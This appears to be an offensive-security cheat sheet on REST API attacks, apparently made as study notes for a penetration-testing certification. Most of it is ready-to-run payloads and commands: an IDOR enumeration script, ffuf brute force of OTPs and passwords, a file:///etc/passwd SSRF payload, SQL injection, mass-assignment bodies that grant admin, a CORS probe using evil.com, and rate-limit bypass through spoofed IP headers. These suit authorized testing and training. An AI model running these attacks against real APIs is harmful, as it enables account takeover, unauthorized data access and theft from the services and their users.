API Attacks
REST API attacks from the CWES path: BOLA/IDOR enumeration, OTP brute force, SSRF via URL fields, SQLi in parameters, mass assignment, improper inventory (old versions), CORS, and the OWASP API Top 10. Every payload separated.
BOLA / IDOR enumeration
Iterate object IDs with a token:
import requests
for uid in range(1, 100):
r = requests.get(f"http://IP/api/v1/user/{uid}", headers={"Authorization": "Bearer TOKEN"})
if r.status_code == 200:
print(uid, r.json())
OTP brute force
Generate OTPs, then fuzz:
seq -w 0000 9999 > otps.txt
ffuf -w otps.txt -u http://IP/api/v1/verify -X POST -H "Content-Type: application/json" -d '{"otp":"FUZZ"}' -fr "Invalid"
SSRF via URL field
Inject a local path into a URL the API fetches:
{ "url": "file:///etc/passwd" }
SQL injection in API parameters
Boolean-based in a search param:
GET /api/v1/products?name=laptop'+OR+1=1+--+-
Mass assignment
Add an admin flag the UI doesn’t show:
{ "username": "user", "password": "pass", "isAdmin": true }
Improper inventory (old versions)
Old endpoints that may lack authorization:
/api/v0/users
/api/beta/users
Fuzz for all versions:
ffuf -w api_versions.txt -u http://TARGET/FUZZ/users -mc 200,201,401,403
Password brute force via API
ffuf -w passwords.txt -u http://IP/api/v1/login -X POST -H "Content-Type: application/json" -d '{"username":"admin","password":"FUZZ"}' -fr "Invalid"
CORS misconfiguration test
If the response echoes your Origin AND Allow-Credentials: true, any site can act as the victim:
curl -H "Origin: https://evil.com" -I http://TARGET/api/user/profile
OWASP API Top 10 (2023) — full checklist
Tick every row per endpoint — this is the “what did I not test yet” list.
| # | Category | What to test |
|---|---|---|
| API1 | Broken Object Level Auth (BOLA) | Change object IDs in every request — can you read/edit another user’s object? |
| API2 | Broken Authentication | JWT tamper/crack, alg:none, weak secret, no rate-limit on login/OTP, token reuse/expiry |
| API3 | Broken Object Property Level Auth (BOPLA) | Mass assignment (add role/isAdmin) and excessive data exposure (extra fields leaked in responses) |
| API4 | Unrestricted Resource Consumption | No rate-limits/quotas → brute force, huge payloads, expensive queries (DoS / cost spike) |
| API5 | Broken Function Level Auth (BFLA) | Call admin/privileged endpoints with a normal-user token; swap GET→PUT/DELETE |
| API6 | Unrestricted Access to Sensitive Business Flows | Automate a human-only flow — bulk-buy stock, mass invites, scripted signups |
| API7 | SSRF | Inject URLs into any URL-accepting field → internal hosts, 169.254.169.254 cloud metadata |
| API8 | Security Misconfiguration | Verbose errors/stack traces, missing security headers, permissive CORS, default creds, extra HTTP verbs |
| API9 | Improper Inventory Management | Fuzz /v0/, /v1/, /legacy/, /beta/; find staging hosts + undocumented/deprecated endpoints |
| API10 | Unsafe Consumption of APIs | Does it blindly trust 3rd-party/upstream API data? → injection/SSRF via the upstream response |
BOPLA (API3) — Detailed Testing
Broken Object Property Level Authorization has two sub-issues:
Mass assignment — inject non-UI fields
Capture a registration/update request and add fields the UI doesn’t expose:
{ "username": "user", "password": "pass", "role": "admin" }
{ "username": "user", "password": "pass", "verified": true }
{ "username": "user", "password": "pass", "credit": 99999 }
Check which fields the API accepts and whether they take effect. Look at the response — extra fields returned confirm the model has them.
Excessive data exposure — fields leaked in responses
Compare the response fields to what the UI actually displays. Extra fields (password_hash, admin, internal_id, ssn) may be returned but hidden by the frontend.
In Burp Proxy, inspect the raw JSON response vs the rendered page. Every field in the response that isn’t shown in the UI is potential excessive exposure.
Rate Limiting Bypass
When brute-force or OTP attacks are blocked by rate limiting:
IP rotation
# Add X-Forwarded-For with different IPs
ffuf -w passwords.txt -u http://TARGET/api/login \
-X POST -H "Content-Type: application/json" \
-H "X-Forwarded-For: FUZZ_IP" \
-d '{"username":"admin","password":"FUZZ_PASS"}' \
-w ips.txt:FUZZ_IP -w passwords.txt:FUZZ_PASS \
-mode pitchfork
Headers that may override rate-limit source IP:
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4
True-Client-IP: 1.2.3.4
Username/email variation
Some rate limiters key on username. Try variations:
admin
ADMIN
admin@example.com
admin+test@example.com
admin (leading/trailing space)
Timing gap
Add a 2-second delay between requests to bypass time-window rate limits:
ffuf -w passwords.txt -u http://TARGET/api/login \
-X POST -d '{"username":"admin","password":"FUZZ"}' \
-p 2 # 2-second delay between requests
null byte / encoding variation in parameter
{"username": "admin�", "password": "FUZZ"}
{"username": "admin%00", "password": "FUZZ"}
API Fuzzing Methodology
Step 1 — Discover endpoints
# Fuzz common API paths
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u http://TARGET/api/FUZZ -mc 200,201,204,401,403
# Fuzz API versions
ffuf -w versions.txt -u http://TARGET/FUZZ/users
# versions.txt: v1 v2 v3 v4 v0 beta legacy api
# Find undocumented parameters with Arjun
pip install arjun
arjun -u http://TARGET/api/endpoint
Step 2 — Discover parameters
# Arjun — finds hidden GET/POST parameters
arjun -u http://TARGET/api/users -m GET
arjun -u http://TARGET/api/register -m POST
# Param Miner (Burp BApp) — for headers and body parameters
# Right-click request → Extensions → Param Miner → Guess params
Step 3 — Fuzz parameter values
# Inject common attack payloads into each discovered parameter
ffuf -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
-u "http://TARGET/api/users?id=FUZZ" -mc 200,500
# BOLA — iterate numeric IDs
ffuf -w <(seq 1 1000) -u http://TARGET/api/users/FUZZ \
-H "Authorization: Bearer LOW_PRIV_TOKEN" -mc 200
Step 4 — Check HTTP method variations
# Most APIs accept only GET/POST but may have undocumented DELETE/PUT
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
echo "$method:"
curl -s -X $method -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer TOKEN" http://TARGET/api/users/5
echo
done
Step 5 — Test content type confusion
# Send JSON to a form-based endpoint
curl -X POST http://TARGET/api/register \
-H "Content-Type: application/json" \
-d '{"username":"admin","role":"admin"}'
# Send form data to a JSON endpoint
curl -X POST http://TARGET/api/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&role=admin"